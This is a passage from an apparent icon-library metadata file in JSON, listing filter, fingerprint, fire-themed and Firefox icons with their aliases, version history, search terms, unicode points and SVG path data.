        "path": "M3.9 54.9C10.5 40.9 24.5 32 40 32H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L320 320.9V448c0 12.1-6.8 23.2-17.7 28.6s-23.8 4.3-33.5-3l-64-48c-8.1-6-12.8-15.5-12.8-25.6V320.9L9 97.3C-.7 85.4-2.8 68.8 3.9 54.9z"
      }
    },
    "free": ["solid"]
  },
  "filter-circle-dollar": {
    "aliases": {
      "names": ["funnel-dollar"],
      "unicodes": {
        "secondary": ["10f662"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["filter", "money", "options", "separate", "sort"]
    },
    "styles": ["solid"],
    "unicode": "f662",
    "label": "Filter Circle Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M3.9 22.9C10.5 8.9 24.5 0 40 0H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L396.4 195.6C316.2 212.1 256 283 256 368c0 27.4 6.3 53.4 17.5 76.5c-1.6-.8-3.2-1.8-4.7-2.9l-64-48c-8.1-6-12.8-15.5-12.8-25.6V288.9L9 65.3C-.7 53.4-2.8 36.8 3.9 22.9zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm120.8-32.6c.6-.9 1.8-2.1 4.2-3.4c5.1-2.7 12.5-4.1 18.7-4c8.2 .1 17.1 1.8 26.4 4.1c8.6 2.1 17.3-3.1 19.4-11.7s-3.1-17.3-11.7-19.4c-5.6-1.4-11.6-2.7-17.9-3.7V288c0-8.8-7.2-16-16-16s-16 7.2-16 16v9.5c-6.1 1.2-12.3 3.2-18 6.3c-11.8 6.3-23 18.4-21.8 37.2c1 16 11.7 25.3 21.6 30.7c8.8 4.7 19.7 7.8 28.6 10.3l1.8 .5c10.3 2.9 17.9 5.2 23.2 8.3c4.5 2.7 4.7 4.2 4.7 5.6c.1 2.4-.5 3.7-1 4.5c-.6 1-1.8 2.2-4 3.3c-4.7 2.5-11.8 3.8-18.5 3.6c-9.5-.3-18.5-3.1-29.9-6.8c-1.9-.6-3.8-1.2-5.8-1.8c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20c1.6 .5 3.3 1 5 1.6l0 0 0 0c7 2.3 15.1 4.8 23.7 6.6v11.4c0 8.8 7.2 16 16 16s16-7.2 16-16V438.7c6.2-1.1 12.5-3.1 18.3-6.2c12.1-6.5 22.3-18.7 21.7-36.9c-.5-16.2-10.3-26.3-20.5-32.3c-9.4-5.6-21.2-8.9-30.5-11.5l-.2 0c-10.4-2.9-18.3-5.2-23.9-8.2c-4.8-2.6-4.8-4-4.8-4.5l0-.1c-.1-1.9 .3-2.9 .8-3.6z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M3.9 22.9C10.5 8.9 24.5 0 40 0H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L396.4 195.6C316.2 212.1 256 283 256 368c0 27.4 6.3 53.4 17.5 76.5c-1.6-.8-3.2-1.8-4.7-2.9l-64-48c-8.1-6-12.8-15.5-12.8-25.6V288.9L9 65.3C-.7 53.4-2.8 36.8 3.9 22.9zM288 368a144 144 0 1 1 288 0 144 144 0 1 1 -288 0zm120.8-32.6c.6-.9 1.8-2.1 4.2-3.4c5.1-2.7 12.5-4.1 18.7-4c8.2 .1 17.1 1.8 26.4 4.1c8.6 2.1 17.3-3.1 19.4-11.7s-3.1-17.3-11.7-19.4c-5.6-1.4-11.6-2.7-17.9-3.7V288c0-8.8-7.2-16-16-16s-16 7.2-16 16v9.5c-6.1 1.2-12.3 3.2-18 6.3c-11.8 6.3-23 18.4-21.8 37.2c1 16 11.7 25.3 21.6 30.7c8.8 4.7 19.7 7.8 28.6 10.3l1.8 .5c10.3 2.9 17.9 5.2 23.2 8.3c4.5 2.7 4.7 4.2 4.7 5.6c.1 2.4-.5 3.7-1 4.5c-.6 1-1.8 2.2-4 3.3c-4.7 2.5-11.8 3.8-18.5 3.6c-9.5-.3-18.5-3.1-29.9-6.8c-1.9-.6-3.8-1.2-5.8-1.8c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20c1.6 .5 3.3 1 5 1.6l0 0 0 0c7 2.3 15.1 4.8 23.7 6.6v11.4c0 8.8 7.2 16 16 16s16-7.2 16-16V438.7c6.2-1.1 12.5-3.1 18.3-6.2c12.1-6.5 22.3-18.7 21.7-36.9c-.5-16.2-10.3-26.3-20.5-32.3c-9.4-5.6-21.2-8.9-30.5-11.5l-.2 0c-10.4-2.9-18.3-5.2-23.9-8.2c-4.8-2.6-4.8-4-4.8-4.5l0-.1c-.1-1.9 .3-2.9 .8-3.6z"
      }
    },
    "free": ["solid"]
  },
  "filter-circle-xmark": {
    "changes": ["6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cancel", "funnel", "options", "remove", "separate", "sort"]
    },
    "styles": ["solid"],
    "unicode": "e17b",
    "label": "Filter Circle Xmark",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M3.9 22.9C10.5 8.9 24.5 0 40 0H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L396.4 195.6C316.2 212.1 256 283 256 368c0 27.4 6.3 53.4 17.5 76.5c-1.6-.8-3.2-1.8-4.7-2.9l-64-48c-8.1-6-12.8-15.5-12.8-25.6V288.9L9 65.3C-.7 53.4-2.8 36.8 3.9 22.9zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M3.9 22.9C10.5 8.9 24.5 0 40 0H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L396.4 195.6C316.2 212.1 256 283 256 368c0 27.4 6.3 53.4 17.5 76.5c-1.6-.8-3.2-1.8-4.7-2.9l-64-48c-8.1-6-12.8-15.5-12.8-25.6V288.9L9 65.3C-.7 53.4-2.8 36.8 3.9 22.9zM432 224a144 144 0 1 1 0 288 144 144 0 1 1 0-288zm59.3 107.3c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.2-22.6 0L432 345.4l-36.7-36.7c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6L409.4 368l-36.7 36.7c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L432 390.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6L454.6 368l36.7-36.7z"
      }
    },
    "free": ["solid"]
  },
  "fingerprint": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f577"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "human",
        "id",
        "identification",
        "lock",
        "smudge",
        "touch",
        "unique",
        "unlock"
      ]
    },
    "styles": ["solid"],
    "unicode": "f577",
    "label": "Fingerprint",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 256C48 141.1 141.1 48 256 48c63.1 0 119.6 28.1 157.8 72.5c8.6 10.1 23.8 11.2 33.8 2.6s11.2-23.8 2.6-33.8C403.3 34.6 333.7 0 256 0C114.6 0 0 114.6 0 256v40c0 13.3 10.7 24 24 24s24-10.7 24-24V256zm458.5-52.9c-2.7-13-15.5-21.3-28.4-18.5s-21.3 15.5-18.5 28.4c2.9 13.9 4.5 28.3 4.5 43.1v40c0 13.3 10.7 24 24 24s24-10.7 24-24V256c0-18.1-1.9-35.8-5.5-52.9zM256 80c-19 0-37.4 3-54.5 8.6c-15.2 5-18.7 23.7-8.3 35.9c7.1 8.3 18.8 10.8 29.4 7.9c10.6-2.9 21.8-4.4 33.4-4.4c70.7 0 128 57.3 128 128v24.9c0 25.2-1.5 50.3-4.4 75.3c-1.7 14.6 9.4 27.8 24.2 27.8c11.8 0 21.9-8.6 23.3-20.3c3.3-27.4 5-55 5-82.7V256c0-97.2-78.8-176-176-176zM150.7 148.7c-9.1-10.6-25.3-11.4-33.9-.4C93.7 178 80 215.4 80 256v24.9c0 24.2-2.6 48.4-7.8 71.9C68.8 368.4 80.1 384 96.1 384c10.5 0 19.9-7 22.2-17.3c6.4-28.1 9.7-56.8 9.7-85.8V256c0-27.2 8.5-52.4 22.9-73.1c7.2-10.4 8-24.6-.2-34.2zM256 160c-53 0-96 43-96 96v24.9c0 35.9-4.6 71.5-13.8 106.1c-3.8 14.3 6.7 29 21.5 29c9.5 0 17.9-6.2 20.4-15.4c10.5-39 15.9-79.2 15.9-119.7V256c0-28.7 23.3-52 52-52s52 23.3 52 52v24.9c0 36.3-3.5 72.4-10.4 107.9c-2.7 13.9 7.7 27.2 21.8 27.2c10.2 0 19-7 21-17c7.7-38.8 11.6-78.3 11.6-118.1V256c0-53-43-96-96-96zm24 96c0-13.3-10.7-24-24-24s-24 10.7-24 24v24.9c0 59.9-11 119.3-32.5 175.2l-5.9 15.3c-4.8 12.4 1.4 26.3 13.8 31s26.3-1.4 31-13.8l5.9-15.3C267.9 411.9 280 346.7 280 280.9V256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48 256C48 141.1 141.1 48 256 48c63.1 0 119.6 28.1 157.8 72.5c8.6 10.1 23.8 11.2 33.8 2.6s11.2-23.8 2.6-33.8C403.3 34.6 333.7 0 256 0C114.6 0 0 114.6 0 256v40c0 13.3 10.7 24 24 24s24-10.7 24-24V256zm458.5-52.9c-2.7-13-15.5-21.3-28.4-18.5s-21.3 15.5-18.5 28.4c2.9 13.9 4.5 28.3 4.5 43.1v40c0 13.3 10.7 24 24 24s24-10.7 24-24V256c0-18.1-1.9-35.8-5.5-52.9zM256 80c-19 0-37.4 3-54.5 8.6c-15.2 5-18.7 23.7-8.3 35.9c7.1 8.3 18.8 10.8 29.4 7.9c10.6-2.9 21.8-4.4 33.4-4.4c70.7 0 128 57.3 128 128v24.9c0 25.2-1.5 50.3-4.4 75.3c-1.7 14.6 9.4 27.8 24.2 27.8c11.8 0 21.9-8.6 23.3-20.3c3.3-27.4 5-55 5-82.7V256c0-97.2-78.8-176-176-176zM150.7 148.7c-9.1-10.6-25.3-11.4-33.9-.4C93.7 178 80 215.4 80 256v24.9c0 24.2-2.6 48.4-7.8 71.9C68.8 368.4 80.1 384 96.1 384c10.5 0 19.9-7 22.2-17.3c6.4-28.1 9.7-56.8 9.7-85.8V256c0-27.2 8.5-52.4 22.9-73.1c7.2-10.4 8-24.6-.2-34.2zM256 160c-53 0-96 43-96 96v24.9c0 35.9-4.6 71.5-13.8 106.1c-3.8 14.3 6.7 29 21.5 29c9.5 0 17.9-6.2 20.4-15.4c10.5-39 15.9-79.2 15.9-119.7V256c0-28.7 23.3-52 52-52s52 23.3 52 52v24.9c0 36.3-3.5 72.4-10.4 107.9c-2.7 13.9 7.7 27.2 21.8 27.2c10.2 0 19-7 21-17c7.7-38.8 11.6-78.3 11.6-118.1V256c0-53-43-96-96-96zm24 96c0-13.3-10.7-24-24-24s-24 10.7-24 24v24.9c0 59.9-11 119.3-32.5 175.2l-5.9 15.3c-4.8 12.4 1.4 26.3 13.8 31s26.3-1.4 31-13.8l5.9-15.3C267.9 411.9 280 346.7 280 280.9V256z"
      }
    },
    "free": ["solid"]
  },
  "fire": {
    "aliases": {
      "unicodes": {
        "composite": ["1f525"],
        "secondary": ["10f06d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.6.0",
      "5.6.3",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "burn",
        "caliente",
        "fire",
        "flame",
        "heat",
        "hot",
        "popular",
        "tool"
      ]
    },
    "styles": ["solid"],
    "unicode": "f06d",
    "label": "Fire",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M159.3 5.4c7.8-7.3 19.9-7.2 27.7 .1c27.6 25.9 53.5 53.8 77.7 84c11-14.4 23.5-30.1 37-42.9c7.9-7.4 20.1-7.4 28 .1c34.6 33 63.9 76.6 84.5 118c20.3 40.8 33.8 82.5 33.8 111.9C448 404.2 348.2 512 224 512C98.4 512 0 404.1 0 276.5c0-38.4 17.8-85.3 45.4-131.7C73.3 97.7 112.7 48.6 159.3 5.4zM225.7 416c25.3 0 47.7-7 68.8-21c42.1-29.4 53.4-88.2 28.1-134.4c-4.5-9-16-9.6-22.5-2l-25.2 29.3c-6.6 7.6-18.5 7.4-24.7-.5c-16.5-21-46-58.5-62.8-79.8c-6.3-8-18.3-8.1-24.7-.1c-33.8 42.5-50.8 69.3-50.8 99.4C112 375.4 162.6 416 225.7 416z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M159.3 5.4c7.8-7.3 19.9-7.2 27.7 .1c27.6 25.9 53.5 53.8 77.7 84c11-14.4 23.5-30.1 37-42.9c7.9-7.4 20.1-7.4 28 .1c34.6 33 63.9 76.6 84.5 118c20.3 40.8 33.8 82.5 33.8 111.9C448 404.2 348.2 512 224 512C98.4 512 0 404.1 0 276.5c0-38.4 17.8-85.3 45.4-131.7C73.3 97.7 112.7 48.6 159.3 5.4zM225.7 416c25.3 0 47.7-7 68.8-21c42.1-29.4 53.4-88.2 28.1-134.4c-4.5-9-16-9.6-22.5-2l-25.2 29.3c-6.6 7.6-18.5 7.4-24.7-.5c-16.5-21-46-58.5-62.8-79.8c-6.3-8-18.3-8.1-24.7-.1c-33.8 42.5-50.8 69.3-50.8 99.4C112 375.4 162.6 416 225.7 416z"
      }
    },
    "free": ["solid"]
  },
  "fire-burner": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cook", "fire", "flame", "kitchen", "stove"]
    },
    "styles": ["solid"],
    "unicode": "e4f1",
    "label": "Fire Burner",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M293.5 3.8c19.7 17.8 38.2 37 55.5 57.7c7.9-9.9 16.8-20.7 26.5-29.5c5.6-5.1 14.4-5.1 20 0c24.7 22.7 45.6 52.7 60.4 81.1c14.5 28 24.2 58.8 24.2 79C480 280 408.7 352 320 352c-89.7 0-160-72.1-160-159.8c0-26.4 12.7-60.7 32.4-92.6c20-32.4 48.1-66.1 81.4-95.8c2.8-2.5 6.4-3.8 10-3.7c3.5 0 7 1.3 9.8 3.8zM370 273c30-21 38-63 20-96c-2-4-4-8-7-12l-36 42s-58-74-62-79c-30 37-45 58-45 82c0 49 36 78 81 78c18 0 34-5 49-15zM32 288c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32s-14.3 32-32 32v64H544V320c-17.7 0-32-14.3-32-32s14.3-32 32-32h32c17.7 0 32 14.3 32 32v96c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32V288zM320 480a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm160-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM192 480a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M293.5 3.8c19.7 17.8 38.2 37 55.5 57.7c7.9-9.9 16.8-20.7 26.5-29.5c5.6-5.1 14.4-5.1 20 0c24.7 22.7 45.6 52.7 60.4 81.1c14.5 28 24.2 58.8 24.2 79C480 280 408.7 352 320 352c-89.7 0-160-72.1-160-159.8c0-26.4 12.7-60.7 32.4-92.6c20-32.4 48.1-66.1 81.4-95.8c2.8-2.5 6.4-3.8 10-3.7c3.5 0 7 1.3 9.8 3.8zM370 273c30-21 38-63 20-96c-2-4-4-8-7-12l-36 42s-58-74-62-79c-30 37-45 58-45 82c0 49 36 78 81 78c18 0 34-5 49-15zM32 288c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32s-14.3 32-32 32v64H544V320c-17.7 0-32-14.3-32-32s14.3-32 32-32h32c17.7 0 32 14.3 32 32v96c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32V288zM320 480a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm160-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM192 480a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "fire-extinguisher": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9ef"],
        "secondary": ["10f134"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "burn",
        "caliente",
        "extinguish",
        "fire",
        "fire extinguisher",
        "fire fighter",
        "flame",
        "heat",
        "hot",
        "quench",
        "rescue"
      ]
    },
    "styles": ["solid"],
    "unicode": "f134",
    "label": "Fire Extinguisher",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500.3 7.3C507.7 13.3 512 22.4 512 32v96c0 9.6-4.3 18.7-11.7 24.7s-17.2 8.5-26.6 6.6l-160-32C301.5 124.9 292 115.7 289 104H224v34.8c37.8 18 64 56.5 64 101.2V384H64V240c0-44.7 26.2-83.2 64-101.2V110c-36.2 11.1-66 36.9-82.3 70.5c-5.8 11.9-20.2 16.9-32.1 11.1S-3.3 171.4 2.5 159.5C26.7 109.8 72.7 72.6 128 60.4V32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V56h65c3-11.7 12.5-20.9 24.7-23.4l160-32c9.4-1.9 19.1 .6 26.6 6.6zM288 416v32c0 35.3-28.7 64-64 64H128c-35.3 0-64-28.7-64-64V416H288zM176 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M500.3 7.3C507.7 13.3 512 22.4 512 32v96c0 9.6-4.3 18.7-11.7 24.7s-17.2 8.5-26.6 6.6l-160-32C301.5 124.9 292 115.7 289 104H224v34.8c37.8 18 64 56.5 64 101.2V384H64V240c0-44.7 26.2-83.2 64-101.2V110c-36.2 11.1-66 36.9-82.3 70.5c-5.8 11.9-20.2 16.9-32.1 11.1S-3.3 171.4 2.5 159.5C26.7 109.8 72.7 72.6 128 60.4V32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V56h65c3-11.7 12.5-20.9 24.7-23.4l160-32c9.4-1.9 19.1 .6 26.6 6.6zM288 416v32c0 35.3-28.7 64-64 64H128c-35.3 0-64-28.7-64-64V416H288zM176 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "fire-flame-curved": {
    "aliases": {
      "names": ["fire-alt"],
      "unicodes": {
        "secondary": ["10f7e4"]
      }
    },
    "changes": ["5.6.3", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["burn", "caliente", "flame", "heat", "hot", "popular"]
    },
    "styles": ["solid"],
    "unicode": "f7e4",
    "label": "Fire Flame Curved",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M153.6 29.9l16-21.3C173.6 3.2 180 0 186.7 0C198.4 0 208 9.6 208 21.3V43.5c0 13.1 5.4 25.7 14.9 34.7L307.6 159C356.4 205.6 384 270.2 384 337.7C384 434 306 512 209.7 512H192C86 512 0 426 0 320v-3.8c0-48.8 19.4-95.6 53.9-130.1l3.5-3.5c4.2-4.2 10-6.6 16-6.6C85.9 176 96 186.1 96 198.6V288c0 35.3 28.7 64 64 64s64-28.7 64-64v-3.9c0-18-7.2-35.3-19.9-48l-38.6-38.6c-24-24-37.5-56.7-37.5-90.7c0-27.7 9-54.8 25.6-76.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M153.6 29.9l16-21.3C173.6 3.2 180 0 186.7 0C198.4 0 208 9.6 208 21.3V43.5c0 13.1 5.4 25.7 14.9 34.7L307.6 159C356.4 205.6 384 270.2 384 337.7C384 434 306 512 209.7 512H192C86 512 0 426 0 320v-3.8c0-48.8 19.4-95.6 53.9-130.1l3.5-3.5c4.2-4.2 10-6.6 16-6.6C85.9 176 96 186.1 96 198.6V288c0 35.3 28.7 64 64 64s64-28.7 64-64v-3.9c0-18-7.2-35.3-19.9-48l-38.6-38.6c-24-24-37.5-56.7-37.5-90.7c0-27.7 9-54.8 25.6-76.9z"
      }
    },
    "free": ["solid"]
  },
  "fire-flame-simple": {
    "aliases": {
      "names": ["burn"],
      "unicodes": {
        "secondary": ["10f46a"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["caliente", "energy", "fire", "flame", "gas", "heat", "hot"]
    },
    "styles": ["solid"],
    "unicode": "f46a",
    "label": "Fire Flame Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M372.5 256.5l-.7-1.9C337.8 160.8 282 76.5 209.1 8.5l-3.3-3C202.1 2 197.1 0 192 0s-10.1 2-13.8 5.5l-3.3 3C102 76.5 46.2 160.8 12.2 254.6l-.7 1.9C3.9 277.3 0 299.4 0 321.6C0 426.7 86.8 512 192 512s192-85.3 192-190.4c0-22.2-3.9-44.2-11.5-65.1zm-90.8 49.5c4.1 9.3 6.2 19.4 6.2 29.5c0 53-43 96.5-96 96.5s-96-43.5-96-96.5c0-10.1 2.1-20.3 6.2-29.5l1.9-4.3c15.8-35.4 37.9-67.7 65.3-95.1l8.9-8.9c3.6-3.6 8.5-5.6 13.6-5.6s10 2 13.6 5.6l8.9 8.9c27.4 27.4 49.6 59.7 65.3 95.1l1.9 4.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M372.5 256.5l-.7-1.9C337.8 160.8 282 76.5 209.1 8.5l-3.3-3C202.1 2 197.1 0 192 0s-10.1 2-13.8 5.5l-3.3 3C102 76.5 46.2 160.8 12.2 254.6l-.7 1.9C3.9 277.3 0 299.4 0 321.6C0 426.7 86.8 512 192 512s192-85.3 192-190.4c0-22.2-3.9-44.2-11.5-65.1zm-90.8 49.5c4.1 9.3 6.2 19.4 6.2 29.5c0 53-43 96.5-96 96.5s-96-43.5-96-96.5c0-10.1 2.1-20.3 6.2-29.5l1.9-4.3c15.8-35.4 37.9-67.7 65.3-95.1l8.9-8.9c3.6-3.6 8.5-5.6 13.6-5.6s10 2 13.6 5.6l8.9 8.9c27.4 27.4 49.6 59.7 65.3 95.1l1.9 4.3z"
      }
    },
    "free": ["solid"]
  },
  "firefox": {
    "changes": ["4.4.0", "5.0.0", "5.0.1", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": ["browser"]
    },
    "styles": ["brands"],
    "unicode": "f269",
    "label": "Firefox",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4